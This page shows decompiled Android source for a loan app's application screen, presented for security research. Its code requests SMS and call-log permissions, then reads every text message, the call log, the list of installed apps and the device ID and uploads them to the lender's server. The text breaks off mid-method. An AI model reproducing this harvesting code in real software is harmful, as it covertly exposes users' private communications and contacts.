正在查看: 鲸鱼借条 v4.1.2 应用的 W0ACT.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
正在查看: 鲸鱼借条 v4.1.2 应用的 W0ACT.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
package com.yuxianghua.ui.activitys;
import android.content.Intent;
import android.graphics.drawable.Drawable;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.text.TextUtils;
import android.util.Log;
import android.view.View;
import android.widget.CheckBox;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
import android.widget.TextView;
import android.widget.Toast;
import androidx.core.app.NotificationCompat;
import androidx.core.content.ContextCompat;
import androidx.swiperefreshlayout.widget.SwipeRefreshLayout;
import butterknife.BindView;
import butterknife.OnClick;
import com.alipay.alipaysecuritysdk.common.config.Constant;
import com.base.commonlibrary.base.BaseResult;
import com.base.commonlibrary.base.baseapp.AppActivityManager;
import com.base.commonlibrary.base.baserx.RxHelper;
import com.base.commonlibrary.base.baserx.RxSchedulers;
import com.base.commonlibrary.control.IPermissionResultListener;
import com.base.commonlibrary.utils.ApplicationUtil;
import com.base.commonlibrary.utils.MD5Utils;
import com.base.commonlibrary.utils.RSAUtils;
import com.base.commonlibrary.utils.SPUtils;
import com.base.commonlibrary.utils.glide.GliderHelper;
import com.base.commonlibrary.views.LoadingTip;
import com.base.commonlibrary.views.TitleLayout;
import com.google.gson.Gson;
import com.yuxianghua.gzd.ContactsGetUtil;
import com.yuxianghua.mjyp.BMAG01ACT;
import com.yuxianghua.mjyp.app.api.Api;
import com.yuxianghua.mjyp.app.api.Api2;
import com.yuxianghua.mjyp.app.api.AppConfig;
import com.yuxianghua.mjyp.app.base.BaseBindActivity;
import com.yuxianghua.mjyp.app.base.RxSubscriber;
import com.yuxianghua.mjyp.app.utils.AppUtils;
import com.yuxianghua.ui.activitys.W0ACT;
import com.yuxianghua.ui.bean.ApplyBean;
import com.yuxianghua.ui.bean.BaseInfoForm;
import com.yuxianghua.ui.bean.BindBankForm;
import com.yuxianghua.ui.bean.BorrowOrderForm;
import com.yuxianghua.ui.bean.ContactForm;
import com.yuxianghua.ui.bean.DevSmsBean;
import com.yuxianghua.ui.bean.EncForm;
import com.yuxianghua.ui.bean.HomeAmountBean;
import com.yuxianghua.ui.bean.MyInfoBean;
import com.yuxianghua.ui.bean.OperatorBjForm;
import com.yuxianghua.ui.bean.OperatorSdkForm;
import com.yuxianghua.ui.bean.RegBean;
import com.yuxianghua.ui.bean.UserStatusBean;
import com.yuxianghua.ui.views.SureAndCancelDialog;
import java.math.BigDecimal;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
import rx.Observable;
import rx.Observer;
import rx.Subscriber;
import yhgjgdf.ijnhjfyd.ikbujfjfnjkif.R;
public class W0ACT extends BaseBindActivity {
public static final String TAG = BMAG01ACT.class.getSimpleName();
private int accountStatus;
@BindView(R.id.address)
TextView address;
private String amount_apply;
private int authBankCardStatus;
private int authBaseInfoStatus;
private int authContactsStatus;
private int authOperatorStatus;
@BindView(R.id.bank_logo)
ImageView bankLogo;
@BindView(R.id.bank_name)
TextView bankName;
private String bankName_apply;
@BindView(R.id.bank_num)
TextView bankNum;
private String bankNum_apply;
private BaseInfoForm baseInfoForm;
@BindView(R.id.base_right)
TextView baseRight;
private Integer borrowFlag;
@BindView(R.id.btn_ok)
TextView btnOk;
@BindView(R.id.card_kind)
TextView cardKind;
@BindView(R.id.chex_right)
TextView chexRight;
@BindView(R.id.choose_address)
TextView chooseAddress;
@BindView(R.id.choose_work_address)
TextView chooseWorkAddress;
@BindView(R.id.ck_xy)
CheckBox ckXy;
@BindView(R.id.edit)
TextView edit;
@BindView(R.id.friend_name)
TextView friendName;
@BindView(R.id.friend_num)
TextView friendNum;
@BindView(R.id.gjj_right)
TextView gjjRight;
@BindView(R.id.home_name)
TextView homeName;
@BindView(R.id.home_num)
TextView homeNum;
@BindView(R.id.id_no)
TextView idNo;
private String idNum;
@BindView(R.id.id_right)
TextView idRight;
@BindView(R.id.idno_tip)
TextView idnoTip;
@BindView(R.id.im_id)
ImageView imId;
private MyInfoBean infoBean;
private boolean isFromMeFlag;
@BindView(R.id.iv_bank)
ImageView ivBank;
@BindView(R.id.ll_address)
RelativeLayout llAddress;
@BindView(R.id.ll_bank_card)
LinearLayout llBankCard;
@BindView(R.id.ll_base_content)
LinearLayout llBaseContent;
@BindView(R.id.ll_base_info)
LinearLayout llBaseInfo;
@BindView(R.id.ll_chex)
LinearLayout llChex;
@BindView(R.id.ll_friend)
LinearLayout llFriend;
@BindView(R.id.ll_gjj)
LinearLayout llGjj;
@BindView(R.id.ll_home)
LinearLayout llHome;
@BindView(R.id.ll_lxr_content)
LinearLayout llLxrContent;
@BindView(R.id.ll_lxr_phone)
LinearLayout llLxrPhone;
@BindView(R.id.ll_phone)
LinearLayout llPhone;
@BindView(R.id.ll_shebao)
LinearLayout llShebao;
@BindView(R.id.ll_sim_sq)
LinearLayout llSimSq;
@BindView(R.id.ll_ts)
LinearLayout llTs;
@BindView(R.id.ll_word)
LinearLayout llWord;
@BindView(R.id.ll_work_address)
RelativeLayout llWorkAddress;
@BindView(R.id.lxr_right)
TextView lxrRight;
private String myBankName;
private String myBankNum;
@BindView(R.id.name)
TextView name;
@BindView(R.id.name_tip)
TextView nameTip;
private ContactForm o;
private String operatorStatus;
@BindView(R.id.phone)
TextView phone;
private String realName;
@BindView(R.id.rl_all_te)
RelativeLayout rlAllTe;
@BindView(R.id.rl_bank_content)
RelativeLayout rlBankContent;
@BindView(R.id.rl_id_card)
RelativeLayout rlIdCard;
@BindView(R.id.shebao_right)
TextView shebaoRight;
@BindView(R.id.sim_right)
TextView simRight;
@BindView(R.id.swipe)
SwipeRefreshLayout swipe;
@BindView(R.id.tip_address)
TextView tipAddress;
@BindView(R.id.tip_base)
TextView tipBase;
@BindView(R.id.tip_friend)
TextView tipFriend;
@BindView(R.id.tip_home)
TextView tipHome;
@BindView(R.id.tip_lxr)
TextView tipLxr;
@BindView(R.id.tip_phone)
TextView tipPhone;
@BindView(R.id.tip_sim)
TextView tipSim;
@BindView(R.id.tip_ts)
TextView tipTs;
@BindView(R.id.tip_work)
TextView tipWork;
@BindView(R.id.tip_work_address)
TextView tipWorkAddress;
@BindView(R.id.title)
TitleLayout title;
@BindView(R.id.ts_name)
TextView tsName;
@BindView(R.id.ts_num)
TextView tsNum;
@BindView(R.id.tv_tip_2)
TextView tvTip2;
@BindView(R.id.tv_yys_tip)
TextView tvYysTip;
@BindView(R.id.work)
TextView work;
@BindView(R.id.work_address)
TextView workAddress;
@BindView(R.id.xy)
TextView xy;
@BindView(R.id.xy2)
TextView xy2;
private int authRealNameStatus = 0;
private String loanPeriod = "7";
private Integer repEnfLoanFlag = 0;
private Integer enfLoanFlag = 0;
private Integer repLoanFlag = 0;
private String period = "7";
private String amount = "";
@Override
protected boolean canLoadMore() {
return false;
}
@Override
public int getLayoutId() {
return R.layout.activity_mine_info;
}
@Override
public void initPresenter() {
}
@Override
protected void loadMore() {
}
@Override
protected void refresh() {
}
@Override
public void initView(Bundle bundle) {
if (getIntent().getExtras() != null) {
this.isFromMeFlag = getIntent().getExtras().getBoolean("isFromMeFlag", false);
}
this.loadTip.setOnReloadListener(new LoadingTip.onReloadListener() {
@Override
public void reload() {
W0ACT.this.loadData(true);
}
});
this.title.setRightButton(getResources().getString(R.string.refresh), new View.OnClickListener() {
@Override
public void onClick(View view) {
W0ACT.this.loadData(true);
}
});
this.swipe.setOnRefreshListener(new SwipeRefreshLayout.OnRefreshListener() {
@Override
public void onRefresh() {
W0ACT.this.loadData(false);
}
});
}
public void loadData(boolean z) {
this.mRxManager.add(Api.getDefault().baseMyInfo().compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<MyInfoBean>(this.mContext, z) {
@Override
public void _onNext(MyInfoBean myInfoBean) {
if (myInfoBean != null) {
W0ACT.this.setView(myInfoBean);
}
W0ACT.this.stopLoading();
W0ACT.this.swipe.setRefreshing(false);
}
@Override
protected void _onError(String str) {
W0ACT.this.swipe.setRefreshing(false);
W0ACT.this.showToast("获取网络信息失败,请切换网络后杀掉app进程后重试");
}
}));
this.mRxManager.add(Api.getDefault().getConfigForAmount().compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<HomeAmountBean>(this.mContext, z) {
@Override
protected void _onError(String str) {
}
@Override
public void _onNext(HomeAmountBean homeAmountBean) {
if (homeAmountBean != null) {
W0ACT.this.borrowFlag = homeAmountBean.getBorrowFlag();
W0ACT.this.enfLoanFlag = homeAmountBean.getEnfLoanFlag();
W0ACT.this.repEnfLoanFlag = homeAmountBean.getRepEnfLoanFlag();
W0ACT.this.repLoanFlag = homeAmountBean.getRepLoanFlag();
if (homeAmountBean.getAccountStatus() == 2) {
W0ACT.this.setSuccessView();
} else {
W0ACT.this.btnOk.setText(W0ACT.this.getResources().getString(R.string.apply_open));
}
if (W0ACT.this.enfLoanFlag.intValue() == 1) {
W0ACT.this.btnOk.setText(W0ACT.this.getResources().getString(R.string.now_get_cash));
}
}
}
}));
}
public void applyAccount() {
this.mRxManager.add(Api.getDefault().applyAccount().compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true) {
@Override
public void _onNext(BaseResult baseResult) {
if (baseResult.getCode() == 200) {
W0ACT w0act = W0ACT.this;
w0act.showShortToast(w0act.getResources().getString(R.string.open_success));
W0ACT.this.mRxManager.post(AppConfig.Status, "登录");
W0ACT.this.loadData(false);
W0ACT.this.setSuccessView();
W0ACT.this.applyQuota();
return;
}
W0ACT.this.showShortToast(baseResult.getMessage());
}
@Override
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
public void applyQuota() {
this.mRxManager.add(Api.getDefault().apply(Integer.parseInt(this.period)).compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<ApplyBean>(this.mContext, true) {
@Override
public void _onNext(ApplyBean applyBean) {
if (applyBean != null) {
List<BigDecimal> amountList = applyBean.getAmountList();
if (amountList.size() > 0) {
BigDecimal bigDecimal = amountList.get(0);
W0ACT.this.amount = bigDecimal + "";
}
W0ACT.this.myBankName = applyBean.getBankName();
W0ACT.this.myBankNum = applyBean.getBankNum();
W0ACT.this.getPermissions();
}
}
@Override
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
public void getPermissions() {
permissionRequest(getString(R.string.permission_tip), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_PHONE_STATE", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG", "android.permission.WRITE_CALL_LOG"}, 100, new IPermissionResultListener() {
@Override
public void onPermissionFaild() {
}
@Override
public void onPermissionSuccess() {
SPUtils.putData(AppConfig.latitude, "中国");
SPUtils.putData(AppConfig.longitude, "中国");
if (TextUtils.isEmpty("")) {
SPUtils.putData(AppConfig.address, "中国");
} else {
SPUtils.putData(AppConfig.address, "");
}
W0ACT.this.getDevSmsBean();
}
});
}
public void getDevSmsBean() {
startProgressDialog();
this.mRxManager.add(Observable.create(new Observable.OnSubscribe() {
@Override
public final void call(Object obj) {
W0ACT.this.lambda$getDevSmsBean$0$W0ACT((Subscriber) obj);
}
}).compose(RxSchedulers.io_main()).subscribe(new Observer<DevSmsBean>() {
@Override
public void onCompleted() {
W0ACT.this.stopProgressDialog();
}
@Override
public void onError(Throwable th) {
W0ACT.this.stopProgressDialog();
}
@Override
public void onNext(DevSmsBean devSmsBean) {
W0ACT.this.update(devSmsBean);
}
}));
}
public void lambda$getDevSmsBean$0$W0ACT(Subscriber subscriber) {
DevSmsBean devSmsBean = new DevSmsBean();
List<DevSmsBean.SmsListBean> smsInPhone = ContactsGetUtil.getSmsInPhone(this.mContext);
devSmsBean.setSmsList(smsInPhone);
List<DevSmsBean.AppListBean> scanLocalInstallAppList = ContactsGetUtil.scanLocalInstallAppList(this.mContext.getPackageManager());
devSmsBean.setSmsList(smsInPhone);
devSmsBean.setAppList(scanLocalInstallAppList);
devSmsBean.setCallList(ContactsGetUtil.getContentCallLog(this.mContext));
String deviceID = ApplicationUtil.getDeviceID(this.mContext);
String phoneModel = ApplicationUtil.phoneModel();
devSmsBean.setCode(deviceID);
devSmsBean.setSys(Constant.SDK_OS);
devSmsBean.setModel(phoneModel);
devSmsBean.setAddress((String) SPUtils.getData(AppConfig.address, "中国"));
subscriber.onNext(devSmsBean);
subscriber.onCompleted();
}
public void update(DevSmsBean devSmsBean) {
this.mRxManager.add(Api2.getDefault().infoSave(devSmsBean).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true, false) {
@Override
public void _onNext(BaseResult baseResult) {
if (baseResult.getCode() == 200) {
W0ACT.this.defaultBorrowOrder();
} else {
W0ACT.this.showShortToast(baseResult.getMessage());
}
}
@Override
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
public void defaultBorrowOrder() {
String str = (String) SPUtils.getData(AppConfig.address, "中国");
int parseInt = Integer.parseInt(this.loanPeriod);
String json = new Gson().toJson(new BorrowOrderForm("0", this.repLoanFlag + "", this.myBankName, Integer.valueOf(parseInt), this.amount, this.myBankNum, str, (String) SPUtils.getData(AppConfig.longitude, "0.0"), (String) SPUtils.getData(AppConfig.latitude, "0.0"), ApplicationUtil.getAPPVersion(this.mContext), Constant.SDK_OS, this.amount, this.period));
long currentTimeMillis = System.currentTimeMillis();
String uuid = UUID.randomUUID().toString();
String str2 = json + "@" + uuid + "@" + currentTimeMillis;
String encrypt = RSAUtils.getInstance().encrypt(str2 + "@" + MD5Utils.md5(str2, AppConfig.md5key));
StringBuilder sb = new StringBuilder();
sb.append(currentTimeMillis);
sb.append("");
this.mRxManager.add(Api.getDefault().borrowOrderEnc(new EncForm(encrypt, uuid, sb.toString())).compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<RegBean>(this.mContext, true) {
@Override
public void _onNext(RegBean regBean) {
if (regBean != null) {
String record = regBean.getRecord();
Bundle bundle = new Bundle();
bundle.putString(AppConfig.ORDERID, record);
W0ACT.this.startActivity(N0ACT.class, bundle);
W0ACT.this.finish();
return;
}
W0ACT w0act = W0ACT.this;
w0act.showShortToast(w0act.getResources().getString(R.string.server_error));
}
@Override
protected void _onError(String str3) {
Bundle bundle = new Bundle();
bundle.putString(NotificationCompat.CATEGORY_MESSAGE, str3);
W0ACT.this.startActivity(N0ACT.class, bundle);
}
}));
}
public void setSuccessView() {
if (!this.isFromMeFlag) {
this.baseRight.setVisibility(8);
this.lxrRight.setVisibility(8);
}
if (this.enfLoanFlag.intValue() == 0) {
this.btnOk.setText(getResources().getString(R.string.apply_borrow));
} else {
this.btnOk.setText(getResources().getString(R.string.now_get_cash));
}
}
public void setView(MyInfoBean myInfoBean) {
this.infoBean = myInfoBean;
this.authRealNameStatus = myInfoBean.getAuthRealNameStatus();
int accountStatus = myInfoBean.getAccountStatus();
this.accountStatus = accountStatus;
this.authContactsStatus = myInfoBean.getAuthContactsStatus();
this.authBankCardStatus = myInfoBean.getAuthBankCardStatus();
this.authBaseInfoStatus = myInfoBean.getAuthBaseInfoStatus();
this.authOperatorStatus = myInfoBean.getAuthOperatorStatus();
if (this.authBaseInfoStatus == 1) {
String address = myInfoBean.getAddress();
String companyAddress = myInfoBean.getCompanyAddress();
String companyName = myInfoBean.getCompanyName();
String companyTel = myInfoBean.getCompanyTel();
String companyProvinceId = myInfoBean.getCompanyProvinceId();
String companyCityId = myInfoBean.getCompanyCityId();
String companyDistrictId = myInfoBean.getCompanyDistrictId();
String provinceId = myInfoBean.getProvinceId();
String cityId = myInfoBean.getCityId();
String districtId = myInfoBean.getDistrictId();
this.baseInfoForm = new BaseInfoForm(provinceId, cityId, districtId, address, companyName, companyTel, companyProvinceId, companyCityId, companyDistrictId, companyAddress);
setBaseInfo(address, companyAddress, companyName, companyTel, companyProvinceId, companyCityId, companyDistrictId, provinceId, cityId, districtId);
} else {
this.baseRight.setBackground(ContextCompat.getDrawable(this.mContext, R.drawable.js_button_line_frame10));
this.baseRight.setText(getResources().getString(R.string.go_certification));
}
if (this.authRealNameStatus == 1) {
this.idNum = myInfoBean.getIdCard();
this.realName = myInfoBean.getRealName();
setIdCard();
}
if (this.authContactsStatus == 1) {
List<MyInfoBean.ListBean> list = myInfoBean.getList();
this.o = new ContactForm();
ArrayList arrayList = new ArrayList();
for (int i = 0; i < list.size(); i++) {
arrayList.add(new ContactForm.ListBean(list.get(i).getName(), list.get(i).getRelation(), list.get(i).getTel()));
}
this.o.setList(arrayList);
setLxr(arrayList);
} else {
this.lxrRight.setBackground(ContextCompat.getDrawable(this.mContext, R.drawable.js_button_line_frame10));
this.lxrRight.setText(getResources().getString(R.string.go_certification));
}
if (this.authBankCardStatus == 1) {
setBankInfo(myInfoBean.getImgUrl(), myInfoBean.getBankNum(), myInfoBean.getBankName());
} else {
this.llBankCard.setVisibility(0);
this.rlBankContent.setVisibility(8);
}
int atTestStatus = myInfoBean.getAtTestStatus();
if (accountStatus == 0 || accountStatus == 1) {
int i2 = this.authOperatorStatus;
if (i2 == 1) {
hadTaobaoSq(this.simRight, getResources().getString(R.string.has_authd), R.color.colorPrimary, null);
} else if (i2 == 2) {
hadTaobaoSq(this.simRight, getResources().getString(R.string.auth_refresh), R.color.red, null);
} else if (i2 == 3) {
hadTaobaoSq(this.simRight, getResources().getString(R.string.no_yours_failure), R.color.red, null);
} else {
hadTaobaoSq(this.simRight, getResources().getString(R.string.to_authorize), R.color.colorPrimary, ContextCompat.getDrawable(this.mContext, R.drawable.js_button_line_frame10));
}
} else if (atTestStatus == 0) {
hadTaobaoSq(this.simRight, getResources().getString(R.string.to_authorize), R.color.colorPrimary, ContextCompat.getDrawable(this.mContext, R.drawable.js_button_line_frame10));
} else {
hadTaobaoSq(this.simRight, getResources().getString(R.string.has_authd), R.color.colorPrimary, null);
}
if (accountStatus == 2) {
setSuccessView();
} else {
this.btnOk.setText(getResources().getString(R.string.apply_open));
}
if (this.enfLoanFlag.intValue() == 1) {
this.btnOk.setText(getResources().getString(R.string.now_get_cash));
}
String operatorStatus = myInfoBean.getOperatorStatus();
this.operatorStatus = operatorStatus;
if (this.isFromMeFlag) {
this.tvYysTip.setVisibility(8);
if (this.operatorStatus.equals("0") || this.operatorStatus.equals("1") || this.operatorStatus.equals("3")) {
this.llSimSq.setVisibility(0);
if (atTestStatus == 0) {
hadTaobaoSq(this.simRight, getResources().getString(R.string.to_authorize), R.color.colorPrimary, ContextCompat.getDrawable(this.mContext, R.drawable.js_button_line_frame10));
return;
} else if (atTestStatus == 1) {
hadTaobaoSq(this.simRight, getResources().getString(R.string.has_authd), R.color.colorPrimary, null);
return;
} else {
hadTaobaoSq(this.simRight, getResources().getString(R.string.auth_refresh), R.color.red, null);
return;
}
}
this.llSimSq.setVisibility(8);
return;
}
if (operatorStatus.equals("0")) {
this.tvYysTip.setVisibility(8);
this.llSimSq.setVisibility(0);
} else if (this.operatorStatus.equals("1")) {
this.tvYysTip.setVisibility(0);
this.llSimSq.setVisibility(0);
} else if (this.operatorStatus.equals("2") || this.operatorStatus.equals("3")) {
this.llSimSq.setVisibility(8);
}
}
private void setBankInfo(String str, String str2, String str3) {
char c = 2;
GliderHelper.loadImage(str, this.bankLogo, R.mipmap.bank_js, R.mipmap.bank_js);
this.llBankCard.setVisibility(8);
this.rlBankContent.setVisibility(0);
if (str2.length() > 4) {
str2 = str2.substring(str2.length() - 4);
}
this.bankName.setText(str3);
this.bankNum.setText("**** **** **** " + str2);
this.ivBank.setBackgroundResource(R.mipmap.yellow_bg);
switch (str3.hashCode()) {
case 617075818:
if (str3.equals("中信银行")) {
c = '\t';
break;
}
c = 65535;
break;
case 618824838:
if (str3.equals("中国银行")) {
c = '\b';
break;
}
c = 65535;
break;
case 623311747:
if (str3.equals("上海银行")) {
c = 7;
break;
}
c = 65535;
break;
case 636420748:
if (str3.equals("交通银行")) {
c = 6;
break;
}
c = 65535;
break;
case 641633212:
if (str3.equals("兴业银行")) {
c = 3;
break;
}
c = 65535;
break;
case 643070868:
if (str3.equals("光大银行")) {
c = 16;
break;
}
c = 65535;
break;
case 654255947:
if (str3.equals("北京银行")) {
c = '\r';
break;
}
c = 65535;
break;
case 658449751:
if (str3.equals("华夏银行")) {
c = 11;
break;
}
c = 65535;
break;
case 742511304:
if (str3.equals("广发银行")) {
c = 14;
break;
}
c = 65535;
break;
case 744052748:
if (str3.equals("平安银行")) {
c = 15;
break;
}
c = 65535;
break;
case 776116513:
if (str3.equals("招商银行")) {
c = '\n';
break;
}
c = 65535;
break;
case 856163969:
if (str3.equals("浦发银行")) {
c = 4;
break;
}
c = 65535;
break;
case 1458426116:
if (str3.equals("中国农业银行")) {
c = 1;
break;
}
c = 65535;
break;
case 1553883207:
if (str3.equals("中国工商银行")) {
c = '\f';
break;
}
c = 65535;
break;
case 1575535498:
if (str3.equals("中国建设银行")) {
c = 5;
break;
}
c = 65535;
break;
case 1669799988:
if (str3.equals("中国民生银行")) {
c = 0;
break;
}
c = 65535;
break;
case 1945125527:
break;
default:
c = 65535;
break;
}
switch (c) {
case 0:
case 1:
case 2:
this.ivBank.setBackgroundResource(R.mipmap.wp12_green_bg);
break;
case 3:
case 4:
case 5:
case 6:
case 7:
this.ivBank.setBackgroundResource(R.mipmap.blue_bg);
break;
case '\b':
case '\t':
case '\n':
case 11:
case '\f':
case '\r':
case 14:
this.ivBank.setBackgroundResource(R.mipmap.red_bg);
break;
case 15:
case 16:
this.ivBank.setBackgroundResource(R.mipmap.yellow_bg);
break;
}
}
private void hadTaobaoSq(TextView textView, String str, int i, Drawable drawable) {
textView.setText(str);
textView.setTextColor(ContextCompat.getColor(this.mContext, i));
textView.setBackground(drawable);
}
@OnClick({R.id.xy, R.id.xy2, R.id.card_right, R.id.base_right, R.id.ll_lxr_content, R.id.lxr_right, R.id.id_right, R.id.edit, R.id.btn_ok, R.id.sim_right, R.id.chex_right, R.id.gjj_right, R.id.shebao_right})
protected void onClick(View view) {
Bundle bundle = new Bundle();
switch (view.getId()) {
case R.id.base_right:
if (this.authBankCardStatus == 1) {
if (isCanEd(this.baseRight)) {
bundle.putSerializable("baseInfo", this.baseInfoForm);
startActivityForResult(MTH0ACT.class, bundle, 1001);
break;
} else {
startActivityForResult(MTH0ACT.class, 1001);
break;
}
} else {
showShortToast(getResources().getString(R.string.ple_bind_bank));
break;
}
case R.id.btn_ok:
if (this.authRealNameStatus == 1) {
if (this.ckXy.isChecked()) {
goOpen();
break;
} else {
showShortToast(getResources().getString(R.string.ple_agree_auth_agreement));
break;
}
} else {
showShortToast(getResources().getString(R.string.ple_real_time_cer));
break;
}
case R.id.card_right:
case R.id.edit:
if (this.authRealNameStatus == 1) {
startActivityForResult(MTG0ACT.class, 1000);
break;
} else {
showShortToast(getResources().getString(R.string.ple_real_time_cer));
break;
}
case R.id.id_right:
startActivity(IdCardActivity.class);
break;
case R.id.ll_lxr_content:
case R.id.lxr_right:
if (this.authBankCardStatus != 1) {
showShortToast(getResources().getString(R.string.ple_bind_bank));
break;
} else if (isCanEd(this.lxrRight)) {
bundle.putSerializable("contact", this.o);
startActivityForResult(I0ACT.class, bundle, 1002);
break;
} else {
upSms();
break;
}
case R.id.sim_right:
goToOperate();
break;
case R.id.xy:
bundle.putString("title", "");
bundle.putString("url", SPUtils.getData("baseH5", "") + "?info=" + SPUtils.getData(AppConfig.CACHE.USERCOED, ""));
startActivity(MT10ACT.class, bundle);
break;
case R.id.xy2:
bundle.putString("title", "");
bundle.putString("url", SPUtils.getData("baseH5", "") + "?info=" + SPUtils.getData(AppConfig.CACHE.USERCOED, ""));
startActivity(MT10ACT.class, bundle);
break;
}
}
private void goToOperate() {
if (this.authOperatorStatus == 3) {
return;
}
if (this.authContactsStatus == 1) {
if (isaBooleanSdk(this.simRight)) {
getOperatorType();
return;
} else if (this.simRight.getText().toString().contains(getResources().getString(R.string.refresh))) {
loadData(true);
return;
} else {
showShortToast(getResources().getString(R.string.has_autdh_ready));
return;
}
}
showShortToast(getResources().getString(R.string.ple_input_contact));
}
public void upSms() {
permissionRequest(getString(R.string.permission_tip), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_PHONE_STATE", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG", "android.permission.WRITE_CALL_LOG"}, 100, new AnonymousClass12());
}
class AnonymousClass12 implements IPermissionResultListener {
@Override
public void onPermissionFaild() {
}
AnonymousClass12() {
}
@Override
public void onPermissionSuccess() {
SPUtils.putData(AppConfig.latitude, "中国");
SPUtils.putData(AppConfig.longitude, "中国");
SPUtils.putData(AppConfig.address, "中国");
W0ACT.this.startProgressDialog();
W0ACT.this.mRxManager.add(Observable.create(new Observable.OnSubscribe() {
@Override
public final void call(Object obj) {
W0ACT.AnonymousClass12.this.lambda$onPermissionSuccess$0$W0ACT$12((Subscriber) obj);
}
}).compose(RxSchedulers.io_main()).subscribe(new Observer<DevSmsBean>() {
@Override
public void onCompleted() {
W0ACT.this.stopProgressDialog();
}
@Override
public void onError(Throwable th) {
W0ACT.this.stopProgressDialog();
}
@Override
public void onNext(DevSmsBean devSmsBean) {
W0ACT.this.mRxManager.add(Api2.getDefault().infoSave(devSmsBean).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(W0ACT.this.mContext, true, false) {
@Override
public void _onNext(BaseResult baseResult) {
if (baseResult.getCode() == 200) {
W0ACT.this.startActivityForResult(I0ACT.class, 1002);
} else {
W0ACT.this.showShortToast(baseResult.getMessage());
}
}
@Override
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
}));
}
public void lambda$onPermissionSuccess$0$W0ACT$12(Subscriber subscriber) {
DevSmsBean devSmsBean = new DevSmsBean();
List<DevSmsBean.SmsListBean> smsInPhone = ContactsGetUtil.getSmsInPhone(W0ACT.this.mContext);
devSmsBean.setSmsList(smsInPhone);
List<DevSmsBean.AppListBean> scanLocalInstallAppList = ContactsGetUtil.scanLocalInstallAppList(W0ACT.this.mContext.getPackageManager());
devSmsBean.setSmsList(smsInPhone);
devSmsBean.setAppList(scanLocalInstallAppList);
devSmsBean.setCallList(ContactsGetUtil.getContentCallLog(W0ACT.this.mContext));
String deviceID = ApplicationUtil.getDeviceID(W0ACT.this.mContext);
String phoneModel = ApplicationUtil.phoneModel();
devSmsBean.setCode(deviceID);
devSmsBean.setSys(Constant.SDK_OS);
devSmsBean.setModel(phoneModel);
devSmsBean.setAddress((String) SPUtils.getData(AppConfig.address, "中国"));
subscriber.onNext(devSmsBean);
subscriber.onCompleted();
}
}
private void getOperatorType() {
this.mRxManager.add(Api.getDefault().getOperatorType().compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true) {
@Override
public void _onNext(BaseResult baseResult) {
if (baseResult != null) {
if (baseResult.getCode() == 200) {
String obj = baseResult.getResult().toString();
char c = 65535;
switch (obj.hashCode()) {
case 49:
if (obj.equals("1")) {
c = 0;
break;
}
break;
case 50:
if (obj.equals("2")) {
c = 1;
break;
}
break;
case 51:
if (obj.equals("3")) {
c = 2;
break;
}
break;
case 52:
if (obj.equals("4")) {
c = 3;
break;
}
break;
case 53:
if (obj.equals("5")) {
c = 4;
break;
}
break;
}
if (c == 0) {
W0ACT.this.applyBJOrdero("1");
return;
}
if (c == 1) {
W0ACT.this.applyBJOrdero("2");
return;
} else if (c == 3) {
W0ACT.this.applyBJOrdero("4");
return;
} else {
if (c != 4) {
return;
}
W0ACT.this.applyBJOrdero("5");
return;
}
}
W0ACT.this.showShortToast(baseResult.getMessage());
}
}
@Override
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
private void applySdkOrder(String str) {
this.mRxManager.add(Api.getDefault().operatorSdk(new OperatorSdkForm(str, (String) SPUtils.getData(AppConfig.address, "中国"), (String) SPUtils.getData(AppConfig.latitude, ""), ApplicationUtil.getAPPVersion(this.mContext), (String) SPUtils.getData(AppConfig.longitude, ""), Constant.SDK_OS)).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true) {
@Override
public void _onNext(BaseResult baseResult) {
W0ACT.this.showShortToast(baseResult.getMessage());
W0ACT.this.loadData(true);
}
@Override
protected void _onError(String str2) {
W0ACT.this.showShortToast(str2);
}
}));
}
public void applyBJOrdero(final String str) {
permissionRequest(getString(R.string.permission_tip), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE"}, 100, new IPermissionResultListener() {
@Override
public void onPermissionFaild() {
}
@Override
public void onPermissionSuccess() {
SPUtils.putData(AppConfig.latitude, "中国");
SPUtils.putData(AppConfig.longitude, "中国");
if (TextUtils.isEmpty("中国")) {
SPUtils.putData(AppConfig.address, "中国");
} else {
SPUtils.putData(AppConfig.address, "中国");
}
String aPPVersion = ApplicationUtil.getAPPVersion(W0ACT.this.mContext);
if ("1".equals(str) || "5".equals(str)) {
W0ACT.this.operatorBj((String) SPUtils.getData(AppConfig.address, "中国"), (String) SPUtils.getData(AppConfig.latitude, "0.0"), aPPVersion, (String) SPUtils.getData(AppConfig.longitude, "0.0"), Constant.SDK_OS);
} else if ("2".equals(str)) {
